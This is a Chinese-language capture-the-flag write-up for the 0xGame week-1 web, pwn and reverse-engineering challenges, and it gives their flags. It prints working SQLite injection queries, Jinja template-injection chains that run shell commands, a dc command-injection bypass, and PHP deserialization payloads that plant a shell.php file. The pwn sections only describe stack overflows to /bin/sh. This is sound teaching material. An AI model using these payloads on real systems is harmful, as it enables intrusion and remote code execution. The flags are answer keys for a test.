0xGame_web_week1
WEB
[Week 1] ez_login
账号:admin
密码:admin123
登录即可!
0xGame{It_Is_Easy_Right?}
[Week 1] ez_sql
提示了是sqlite注入,所以我们采用sqlite注入
经过尝试只有5列!
版本是3.40.1 查看数据库版本:id=1 union select 1,2,3,sqlite_version(),5---
sqlite 注入方式和 mysql 的区别不大,少了一些我们经常使用的函数, mid 、 left , sleep ,甚至 if 函数都没有 . 没有 information_schema 闭合方式与 sql 有区别:分 号 ; – /* 因为注入方式和 mysql 注入差不多,就只简单列一下 payload
查看表:id=1 union select 1,2,3,sqlite_version(),(select sql from sqlite_master limit 0,1)---
直接查看flag列数据:id=1 union select 1,2,3,sqlite_version(),(select group_concat(flag) from flag)-- payload和mysql其实差不多,所以这里我直接省略了!
0xGame{Do_not_Use_SqlMap!_Try_it_By_Your_Self}
[Week 1] helo_web
0xGame{ee7f2040-1987-4e0a
-872d-68589c4ab3d3}
0xGame{ee7f2040-1987-4e0a-872d-68589c4ab3d3}
[Week 1] helo_http
0xgame{1cd6a904
0xgame{1cd6a904-725f-11ef
0xgame{1cd6a904-725f-11ef-aafb-d4d8
0xgame{1cd6a904-725f-11ef-aafb-d4d8533ec
很简单,签到题!
0xgame{1cd6a904-725f-11ef-aafb-d4d8533ec05c}
[Week 1] ez_rce
非常简单
dc处理不了字符串,所以绕过即可
payload :114 1000 * 514 + p; !ls -al /
0xGame{Do_You_Know_gtfobins?Try_To_Use_It!}
[Week 1] ez_ssti
使用 {{''.__class__.__base__.__subclasses__()}} 来确定 os 子类所在的位 置!
os在135的位置上,这个方法较快!当然也可以写脚本!
{{''.__class__.__base__.__subclasses__()[135].__init__.__globals__}} 查看可以用命令执行的函数
{{().__class__.__bases__[0].__subclasses__()
[135].__init__.__globals__.__builtins__['eval']
("__import__('os').popen('whoami').read()")}}
{{url_for.__globals__.__builtins__['__import__']
('os').popen('id').read()}}
这两个都行
进行命令执行!
ok,上面这些都是前置知识,其实拿到flag只需要看环境变量即可,单纯的命令执行是 看不到的,那么我们就用 getenv() 函数,来看环境变量的值。所以只需要调用getenv 函数即可!
源码里,删除了名称叫flag的变量名称!所以我们直接搜即可!
[Week 1] ez_unser
调用关系很好理解,最后的两个方法做了文件上传操作,但是修改名称了,我们构造 payload!
这两个类做了文件写入和文件名修改操作! 所以我们只需要触发Mamba类即可!所以我们调用关系只做到Mamba类!
payload: data=O%3A3%3A%22Man%22%3A1%3A%7Bs%3A9%3A%22%00Man%00name%22%3BO%3A4%3A %22What%22%3A1%3A%7Bs%3A9%3A%22%00What%00Kun%22%3BO%3A3%3A%22Can%22%3A 1%3A%7Bs%3A10%3A%22%00Can%00Hobby%22%3BO%3A1%3A%22I%22%3A1%3A%7Bs%3A7% 3A%22%00I%00name%22%3BO%3A3%3A%22Say%22%3A1%3A%7Bs%3A9%3A%22%00Say%00e vil%22%3BO%3A5%3A%22Mamba%22%3A0%3A%7B%7D%7D%7D%7D%7D%7D&&content=
这是第一个payload,我们上传文件,会以时间戳的方式保存!
这里的时间戳文件就是我们写入的文件!我们再做修改操作!
这里我们需要触发修改文件这个类,因为Out类不存在name属性方法,所以我直接在 I 类中让其调用name属性,触发call魔术方法!
data=O%3A3%3A%22Man%22%3A1%3A%7Bs%3A9%3A%22%00Man%00name%22%3BO%3A4%3A %22What%22%3A1%3A%7Bs%3A9%3A%22%00What%00Kun%22%3BO%3A3%3A%22Can%22%3A 1%3A%7Bs%3A10%3A%22%00Can%00Hobby%22%3BO%3A1%3A%22I%22%3A1%3A%7Bs%3A7% 3A%22%00I%00name%22%3BO%3A3%3A%22Out%22%3A0%3A%7B%7D%7D%7D%7D%7D&&o=17 28392438.log&&n=shell.php
这里payload的o参数要写成第一个得到的时间戳文件名,也就是要修改的文件名,n参 数就是我们要修改成的文件名!
成功!
得到flag!PWN
PWN
0xGame_pwn_week1
[Week 1] test your pwntools
打开题目查看
要在10秒内完成100个计算,那么自己肯定是不能做的,只能写脚本了
[Week 1] stack overflow
看一下主函数
有一个很明显的溢出漏洞,然后有一个strlen的检查,但是检查没有做什么限制,查看字符串也发 现是有/bin/sh的
查看一下保护,发现就开启了一个nx,那就可以直接溢出到/bin/sh 了
直接写脚本:
[Week 1] positive
通过read读入了4个长度的数据到buf中,然后atoi函数将buf转换为字节,下面有一个检查,让 吧nbytes转换为int,然后不能够超过16个,超过16个的话就会退出了,然后又有一个read, 入读无符号整型到v4中,这个时候就可以溢出了,是一个整数溢出
然后发现也是有后门函数的,那么就可以溢出到后门函数,去完成这个题目
exp:
[Week 1] find_me
可以看到是一个伪随机数,需要去绕过伪随机数,可以利用ctypes。然后循环打开fake_flag, 也就是假的flag,然后再打开一个真的flag,思路就是利用do_bad函数中的read去读打开的 flag文件
再看do_bad函数,是一个循环判断。
exp:
[Week 1] where_is_my_binsh
查看保护
查看main函数,看到一个read写入到something中,something是在bss段,可以看到有system 函数,所以就可以通过写入/bin/sh 到bss段然后传给system去执行就可以了,在第二个read也 可以看到是溢出点
可以直接写exp:
[Week 1] ret2csu
查看保护
查看main函数 可以看到是读入到something , 依旧是在bss段,然后read读入buf中,这里就可以看到是一个 溢出。然后一个strlen检查buf,如果超过0x10就退出。这一题是用到了ret2csu,所以我们可 以直接去看__libc_csu_int,可以看到也是有execve执行函数的,所以可以直接ret2csu了
exp:
RE全解
0xGame_re_week1
[Week 1] BabyBase
查壳
无壳,⽤64的ida打开,F5查看主函数
Shift+12查看符串
发现base64编码,测是base64加密
猜测没错
[Week 1] BinaryMaster
无壳,⽤64的ida打开,F5查看主函数
发现flag
[Week 1] SignSign
查壳
无壳,⽤64的ida打开,F5查看主函数
发现⼀半flag,Shift+F12查看符串
发现前⼀半flag
[Week 1] Xor-Beginning
查壳
无壳,⽤64的ida打开,F5查看主函数
分析伪代码可知,flag为30位,每一位经过异或之后与v5对比,所以只要来个反异或就行了
[Week 1] Xor-Endian
查壳
无壳,⽤64的ida打开,F5查看主函数
分析可知主要在于encrypt函数,加密后与v6对比,解密只要来个反异或就行了